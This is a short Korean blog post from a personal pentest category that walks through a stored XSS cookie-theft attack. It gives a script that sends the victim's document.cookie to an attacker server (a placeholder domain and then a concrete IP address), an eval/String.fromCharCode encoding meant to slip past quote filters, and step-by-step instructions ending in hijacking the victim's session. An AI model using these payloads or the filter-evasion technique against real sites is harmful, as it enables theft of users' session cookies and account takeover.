Notice
Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Archives
Today
Total
관리 메뉴

의미없는 블로그

싱글쿼터 없이 Stored XSS 시나리오 (쿠키 탈취) 본문

# 나/pentest (WEB)

싱글쿼터 없이 Stored XSS 시나리오 (쿠키 탈취)

SaltLee 2019. 12. 5. 15:10

쿠키 탈취 스크립트는 보통 이거 쓰는데

<script>document.location="http://test.com/test.php?cookie="+document.cookie;</script>

 

싱글쿼터나 더블쿼터 막혀있으면 이렇게 아스키값으로 쓰면 된다

<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,

116,116,112,58,47,47,49,53,48,46,50,52,46,57,53,46,49,51,52,47,116,101,115,116,46,112,104,112,63,99,111,111,

107,105,101,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59))</script>

 

아스키 변환 사이트는 여기고

https://www.easycalculation.com/ascii-hex.php

 

이렇게 괄호 안의 값 아스키로 변환해서 넣으면 된다

String.fromCharCode(document.location="http://test.com/test.php?cookie="+document.cookie;)

 

1) 공격자가 자신의 서버(150.24.95.134)에 쿠키값 탈취하는 페이지(test.php) 생성한다

2) test.php 작성하고 cookie.txt 만들어 놓기

3) XSS 존재하는 페이지에 악성 스크립트 삽입 시도 (공격자 서버로 쿠키값 보내는 스크립트)

[원래 스크립트]

<script>document.location="http://150.24.95.134/test.php?cookie="+document.cookie;</script>

[아스키로 치환한거] 

<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,

116,116,112,58,47,47,49,53,48,46,50,52,46,57,53,46,49,51,52,47,116,101,115,116,46,112,104,112,63,99,111,111,

107,105,101,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59))</script>

 

4) 희생자가 XSS 포인트 클릭

5) 공격자 서버로 쿠키값 전달됨 (쿠키값에 \는 왜 생기는지 모르겠는데 원래 쿠키에는 없어서 지워줘야함)

6) 쿠키값 사용 시도 (특수문자도 있고 띄어쓰기도 있고 그래서 그냥 URL 인코딩 해버렸다)

7) 희생자 세션 획득

 

Comments